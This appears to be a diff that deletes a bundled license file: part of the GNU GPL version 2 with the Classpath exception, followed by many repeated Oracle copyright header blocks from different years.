-TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-0. This License applies to any program or other work which contains a notice
-placed by the copyright holder saying it may be distributed under the terms of
-this General Public License.  The "Program", below, refers to any such program
-or work, and a "work based on the Program" means either the Program or any
-derivative work under copyright law: that is to say, a work containing the
-Program or a portion of it, either verbatim or with modifications and/or
-translated into another language.  (Hereinafter, translation is included
-without limitation in the term "modification".) Each licensee is addressed as
-"you".
-
-Activities other than copying, distribution and modification are not covered by
-this License; they are outside its scope.  The act of running the Program is
-not restricted, and the output from the Program is covered only if its contents
-constitute a work based on the Program (independent of having been made by
-running the Program).  Whether that is true depends on what the Program does.
-
-1. You may copy and distribute verbatim copies of the Program's source code as
-you receive it, in any medium, provided that you conspicuously and
-appropriately publish on each copy an appropriate copyright notice and
-disclaimer of warranty; keep intact all the notices that refer to this License
-and to the absence of any warranty; and give any other recipients of the
-Program a copy of this License along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and you may
-at your option offer warranty protection in exchange for a fee.
-
-2. You may modify your copy or copies of the Program or any portion of it, thus
-forming a work based on the Program, and copy and distribute such modifications
-or work under the terms of Section 1 above, provided that you also meet all of
-these conditions:
-
-    a) You must cause the modified files to carry prominent notices stating
-    that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in whole or
-    in part contains or is derived from the Program or any part thereof, to be
-    licensed as a whole at no charge to all third parties under the terms of
-    this License.
-
-    c) If the modified program normally reads commands interactively when run,
-    you must cause it, when started running for such interactive use in the
-    most ordinary way, to print or display an announcement including an
-    appropriate copyright notice and a notice that there is no warranty (or
-    else, saying that you provide a warranty) and that users may redistribute
-    the program under these conditions, and telling the user how to view a copy
-    of this License.  (Exception: if the Program itself is interactive but does
-    not normally print such an announcement, your work based on the Program is
-    not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If identifiable
-sections of that work are not derived from the Program, and can be reasonably
-considered independent and separate works in themselves, then this License, and
-its terms, do not apply to those sections when you distribute them as separate
-works.  But when you distribute the same sections as part of a whole which is a
-work based on the Program, the distribution of the whole must be on the terms
-of this License, whose permissions for other licensees extend to the entire
-whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest your
-rights to work written entirely by you; rather, the intent is to exercise the
-right to control the distribution of derivative or collective works based on
-the Program.
-
-In addition, mere aggregation of another work not based on the Program with the
-Program (or with a work based on the Program) on a volume of a storage or
-distribution medium does not bring the other work under the scope of this
-License.
-
-3. You may copy and distribute the Program (or a work based on it, under
-Section 2) in object code or executable form under the terms of Sections 1 and
-2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable source
-    code, which must be distributed under the terms of Sections 1 and 2 above
-    on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three years, to
-    give any third party, for a charge no more than your cost of physically
-    performing source distribution, a complete machine-readable copy of the
-    corresponding source code, to be distributed under the terms of Sections 1
-    and 2 above on a medium customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer to
-    distribute corresponding source code.  (This alternative is allowed only
-    for noncommercial distribution and only if you received the program in
-    object code or executable form with such an offer, in accord with
-    Subsection b above.)
-
-The source code for a work means the preferred form of the work for making
-modifications to it.  For an executable work, complete source code means all
-the source code for all modules it contains, plus any associated interface
-definition files, plus the scripts used to control compilation and installation
-of the executable.  However, as a special exception, the source code
-distributed need not include anything that is normally distributed (in either
-source or binary form) with the major components (compiler, kernel, and so on)
-of the operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering access to copy
-from a designated place, then offering equivalent access to copy the source
-code from the same place counts as distribution of the source code, even though
-third parties are not compelled to copy the source along with the object code.
-
-4. You may not copy, modify, sublicense, or distribute the Program except as
-expressly provided under this License.  Any attempt otherwise to copy, modify,
-sublicense or distribute the Program is void, and will automatically terminate
-your rights under this License.  However, parties who have received copies, or
-rights, from you under this License will not have their licenses terminated so
-long as such parties remain in full compliance.
-
-5. You are not required to accept this License, since you have not signed it.
-However, nothing else grants you permission to modify or distribute the Program
-or its derivative works.  These actions are prohibited by law if you do not
-accept this License.  Therefore, by modifying or distributing the Program (or
-any work based on the Program), you indicate your acceptance of this License to
-do so, and all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-6. Each time you redistribute the Program (or any work based on the Program),
-the recipient automatically receives a license from the original licensor to
-copy, distribute or modify the Program subject to these terms and conditions.
-You may not impose any further restrictions on the recipients' exercise of the
-rights granted herein.  You are not responsible for enforcing compliance by
-third parties to this License.
-
-7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues), conditions
-are imposed on you (whether by court order, agreement or otherwise) that
-contradict the conditions of this License, they do not excuse you from the
-conditions of this License.  If you cannot distribute so as to satisfy
-simultaneously your obligations under this License and any other pertinent
-obligations, then as a consequence you may not distribute the Program at all.
-For example, if a patent license would not permit royalty-free redistribution
-of the Program by all those who receive copies directly or indirectly through
-you, then the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under any
-particular circumstance, the balance of the section is intended to apply and
-the section as a whole is intended to apply in other circumstances.
-
-It is not the purpose of this section to induce you to infringe any patents or
-other property right claims or to contest validity of any such claims; this
-section has the sole purpose of protecting the integrity of the free software
-distribution system, which is implemented by public license practices.  Many
-people have made generous contributions to the wide range of software
-distributed through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing to
-distribute software through any other system and a licensee cannot impose that
-choice.
-
-This section is intended to make thoroughly clear what is believed to be a
-consequence of the rest of this License.
-
-8. If the distribution and/or use of the Program is restricted in certain
-countries either by patents or by copyrighted interfaces, the original
-copyright holder who places the Program under this License may add an explicit
-geographical distribution limitation excluding those countries, so that
-distribution is permitted only in or among countries not thus excluded.  In
-such case, this License incorporates the limitation as if written in the body
-of this License.
-
-9. The Free Software Foundation may publish revised and/or new versions of the
-General Public License from time to time.  Such new versions will be similar in
-spirit to the present version, but may differ in detail to address new problems
-or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any later
-version", you have the option of following the terms and conditions either of
-that version or of any later version published by the Free Software Foundation.
-If the Program does not specify a version number of this License, you may
-choose any version ever published by the Free Software Foundation.
-
-10. If you wish to incorporate parts of the Program into other free programs
-whose distribution conditions are different, write to the author to ask for
-permission.  For software which is copyrighted by the Free Software Foundation,
-write to the Free Software Foundation; we sometimes make exceptions for this.
-Our decision will be guided by the two goals of preserving the free status of
-all derivatives of our free software and of promoting the sharing and reuse of
-software generally.
-
-NO WARRANTY
-
-11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR
-THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN OTHERWISE
-STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE
-PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED,
-INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
-FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND
-PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE,
-YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
-
-12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL
-ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE
-PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
-GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR
-INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA
-BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
-FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER
-OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
-
-END OF TERMS AND CONDITIONS
-
-How to Apply These Terms to Your New Programs
-
-If you develop a new program, and you want it to be of the greatest possible
-use to the public, the best way to achieve this is to make it free software
-which everyone can redistribute and change under these terms.
-
-To do so, attach the following notices to the program.  It is safest to attach
-them to the start of each source file to most effectively convey the exclusion
-of warranty; and each file should have at least the "copyright" line and a
-pointer to where the full notice is found.
-
-    One line to give the program's name and a brief idea of what it does.
-
-    Copyright (C) <year> <name of author>
-
-    This program is free software; you can redistribute it and/or modify it
-    under the terms of the GNU General Public License as published by the Free
-    Software Foundation; either version 2 of the License, or (at your option)
-    any later version.
-
-    This program is distributed in the hope that it will be useful, but WITHOUT
-    ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-    FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for
-    more details.
-
-    You should have received a copy of the GNU General Public License along
-    with this program; if not, write to the Free Software Foundation, Inc., 59
-    Temple Place, Suite 330, Boston, MA 02111-1307 USA
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this when it
-starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year name of author Gnomovision comes
-    with ABSOLUTELY NO WARRANTY; for details type 'show w'.  This is free
-    software, and you are welcome to redistribute it under certain conditions;
-    type 'show c' for details.
-
-The hypothetical commands 'show w' and 'show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may be
-called something other than 'show w' and 'show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your school,
-if any, to sign a "copyright disclaimer" for the program, if necessary.  Here
-is a sample; alter the names:
-
-    Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-    'Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-    signature of Ty Coon, 1 April 1989
-
-    Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General Public
-License instead of this License.
-
-
-"CLASSPATH" EXCEPTION TO THE GPL
-
-Certain source files distributed by Oracle America and/or its affiliates are
-subject to the following clarification and special exception to the GPL, but
-only where Oracle has expressly included in the particular source file's header
-the words "Oracle designates this particular file as subject to the "Classpath"
-exception as provided by Oracle in the LICENSE file that accompanied this code."
-
-    Linking this library statically or dynamically with other modules is making
-    a combined work based on this library.  Thus, the terms and conditions of
-    the GNU General Public License cover the whole combination.
-
-    As a special exception, the copyright holders of this library give you
-    permission to link this library with independent modules to produce an
-    executable, regardless of the license terms of these independent modules,
-    and to copy and distribute the resulting executable under terms of your
-    choice, provided that you also meet, for each linked independent module,
-    the terms and conditions of the license of that module.  An independent
-    module is a module which is not derived from or based on this library.  If
-    you modify this library, you may extend this exception to your version of
-    the library, but you are not obligated to do so.  If you do not wish to do
-    so, delete this exception statement from your version.
-**********************************
-END LICENSE file
-**********************************
-
-
--------------------------------------------------------------------
-
-<!--
- Copyright (c) 1998, 1999, Oracle and/or its affiliates. All rights reserved.
- DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
- This code is free software; you can redistribute it and/or modify it
- under the terms of the GNU General Public License version 2 only, as
- published by the Free Software Foundation.  Oracle designates this
- particular file as subject to the "Classpath" exception as provided
- by Oracle in the LICENSE file that accompanied this code.
-
- This code is distributed in the hope that it will be useful, but WITHOUT
- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
- FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
- version 2 for more details (a copy is included in the LICENSE file that
- accompanied this code).
-
- You should have received a copy of the GNU General Public License version
- 2 along with this work; if not, write to the Free Software Foundation,
- Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
- Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
- or visit www.oracle.com if you need additional information or have any
- questions.
-
--------------------------------------------------------------------
-
-<!--
- Copyright (c) 1998, 2003, Oracle and/or its affiliates. All rights reserved.
- DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
- This code is free software; you can redistribute it and/or modify it
- under the terms of the GNU General Public License version 2 only, as
- published by the Free Software Foundation.  Oracle designates this
- particular file as subject to the "Classpath" exception as provided
- by Oracle in the LICENSE file that accompanied this code.
-
- This code is distributed in the hope that it will be useful, but WITHOUT
- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
- FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
- version 2 for more details (a copy is included in the LICENSE file that
- accompanied this code).
-
- You should have received a copy of the GNU General Public License version
- 2 along with this work; if not, write to the Free Software Foundation,
- Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
- Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
- or visit www.oracle.com if you need additional information or have any
- questions.
-
--------------------------------------------------------------------
-
-<!--
- Copyright (c) 1998, 2006, Oracle and/or its affiliates. All rights reserved.
- DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
- This code is free software; you can redistribute it and/or modify it
- under the terms of the GNU General Public License version 2 only, as
- published by the Free Software Foundation.  Oracle designates this
- particular file as subject to the "Classpath" exception as provided
- by Oracle in the LICENSE file that accompanied this code.
-
- This code is distributed in the hope that it will be useful, but WITHOUT
- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
- FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
- version 2 for more details (a copy is included in the LICENSE file that
- accompanied this code).
-
- You should have received a copy of the GNU General Public License version
- 2 along with this work; if not, write to the Free Software Foundation,
- Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
- Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
- or visit www.oracle.com if you need additional information or have any
- questions.
-
--------------------------------------------------------------------
-
-<!--
- Copyright (c) 1998, 2010, Oracle and/or its affiliates. All rights reserved.
- DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
- This code is free software; you can redistribute it and/or modify it
- under the terms of the GNU General Public License version 2 only, as
- published by the Free Software Foundation.  Oracle designates this
- particular file as subject to the "Classpath" exception as provided
- by Oracle in the LICENSE file that accompanied this code.
-
- This code is distributed in the hope that it will be useful, but WITHOUT
- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
- FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
- version 2 for more details (a copy is included in the LICENSE file that
- accompanied this code).
-
- You should have received a copy of the GNU General Public License version
- 2 along with this work; if not, write to the Free Software Foundation,
- Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
- Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
- or visit www.oracle.com if you need additional information or have any
- questions.
-
--------------------------------------------------------------------
-
-<!--
- Copyright (c) 1998, 2011, Oracle and/or its affiliates. All rights reserved.
- DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
- This code is free software; you can redistribute it and/or modify it
- under the terms of the GNU General Public License version 2 only, as
- published by the Free Software Foundation.  Oracle designates this
- particular file as subject to the "Classpath" exception as provided
- by Oracle in the LICENSE file that accompanied this code.
-
- This code is distributed in the hope that it will be useful, but WITHOUT
- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
- FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
- version 2 for more details (a copy is included in the LICENSE file that
- accompanied this code).
-
- You should have received a copy of the GNU General Public License version
- 2 along with this work; if not, write to the Free Software Foundation,
- Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
- Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
- or visit www.oracle.com if you need additional information or have any
- questions.
-
--------------------------------------------------------------------
-
-<!--
- Copyright (c) 2000, 2004, Oracle and/or its affiliates. All rights reserved.
- DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
- This code is free software; you can redistribute it and/or modify it
- under the terms of the GNU General Public License version 2 only, as
- published by the Free Software Foundation.  Oracle designates this
- particular file as subject to the "Classpath" exception as provided
- by Oracle in the LICENSE file that accompanied this code.
-
- This code is distributed in the hope that it will be useful, but WITHOUT
- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
- FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
- version 2 for more details (a copy is included in the LICENSE file that
- accompanied this code).
-
- You should have received a copy of the GNU General Public License version
- 2 along with this work; if not, write to the Free Software Foundation,
- Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
- Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
- or visit www.oracle.com if you need additional information or have any
- questions.
-
--------------------------------------------------------------------
-
-<!--
- Copyright (c) 2000, 2009, Oracle and/or its affiliates. All rights reserved.
- DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
- This code is free software; you can redistribute it and/or modify it
- under the terms of the GNU General Public License version 2 only, as
- published by the Free Software Foundation.  Oracle designates this
- particular file as subject to the "Classpath" exception as provided
- by Oracle in the LICENSE file that accompanied this code.
-
- This code is distributed in the hope that it will be useful, but WITHOUT
- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
- FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
- version 2 for more details (a copy is included in the LICENSE file that
- accompanied this code).
-
- You should have received a copy of the GNU General Public License version
- 2 along with this work; if not, write to the Free Software Foundation,
- Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
- Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
- or visit www.oracle.com if you need additional information or have any
- questions.
-
--------------------------------------------------------------------
-
-<!--
- Copyright (c) 2001, 2005, Oracle and/or its affiliates. All rights reserved.
- DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
- This code is free software; you can redistribute it and/or modify it
- under the terms of the GNU General Public License version 2 only, as
- published by the Free Software Foundation.  Oracle designates this
- particular file as subject to the "Classpath" exception as provided
- by Oracle in the LICENSE file that accompanied this code.
-
- This code is distributed in the hope that it will be useful, but WITHOUT
- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
- FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
- version 2 for more details (a copy is included in the LICENSE file that
- accompanied this code).
-
- You should have received a copy of the GNU General Public License version
- 2 along with this work; if not, write to the Free Software Foundation,
- Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
- Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
- or visit www.oracle.com if you need additional information or have any
- questions.
-
--------------------------------------------------------------------
-
-<!--
- Copyright (c) 2001, 2010, Oracle and/or its affiliates. All rights reserved.
- DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
- This code is free software; you can redistribute it and/or modify it
- under the terms of the GNU General Public License version 2 only, as
- published by the Free Software Foundation.  Oracle designates this
- particular file as subject to the "Classpath" exception as provided
- by Oracle in the LICENSE file that accompanied this code.
-
- This code is distributed in the hope that it will be useful, but WITHOUT
- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
- FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
- version 2 for more details (a copy is included in the LICENSE file that
- accompanied this code).
-
- You should have received a copy of the GNU General Public License version
- 2 along with this work; if not, write to the Free Software Foundation,
- Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
- Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
- or visit www.oracle.com if you need additional information or have any
- questions.
-
--------------------------------------------------------------------
-
-<!--
- Copyright (c) 2003, 2006, Oracle and/or its affiliates. All rights reserved.
- DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
- This code is free software; you can redistribute it and/or modify it
- under the terms of the GNU General Public License version 2 only, as
- published by the Free Software Foundation.  Oracle designates this
- particular file as subject to the "Classpath" exception as provided
- by Oracle in the LICENSE file that accompanied this code.
-
- This code is distributed in the hope that it will be useful, but WITHOUT
- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
- FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
- version 2 for more details (a copy is included in the LICENSE file that
- accompanied this code).
-
- You should have received a copy of the GNU General Public License version
- 2 along with this work; if not, write to the Free Software Foundation,
- Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
- Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
- or visit www.oracle.com if you need additional information or have any
- questions.
-
--------------------------------------------------------------------
-
-<!--
-Copyright (c) 1999, 2007, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-<!--
-Copyright (c) 1999, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-
- Copyright (c) 2001, Oracle and/or its affiliates. All rights reserved.
- DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
- This code is free software; you can redistribute it and/or modify it
- under the terms of the GNU General Public License version 2 only, as
- published by the Free Software Foundation.  Oracle designates this
- particular file as subject to the "Classpath" exception as provided
- by Oracle in the LICENSE file that accompanied this code.
-
- This code is distributed in the hope that it will be useful, but WITHOUT
- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
- FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
- version 2 for more details (a copy is included in the LICENSE file that
- accompanied this code).
-
- You should have received a copy of the GNU General Public License version
- 2 along with this work; if not, write to the Free Software Foundation,
- Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
- Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
- or visit www.oracle.com if you need additional information or have any
- questions.
-
--------------------------------------------------------------------
-
- Copyright (c) 1998, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1998, 2006, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1998, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1998, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1998, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1999, 2001, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
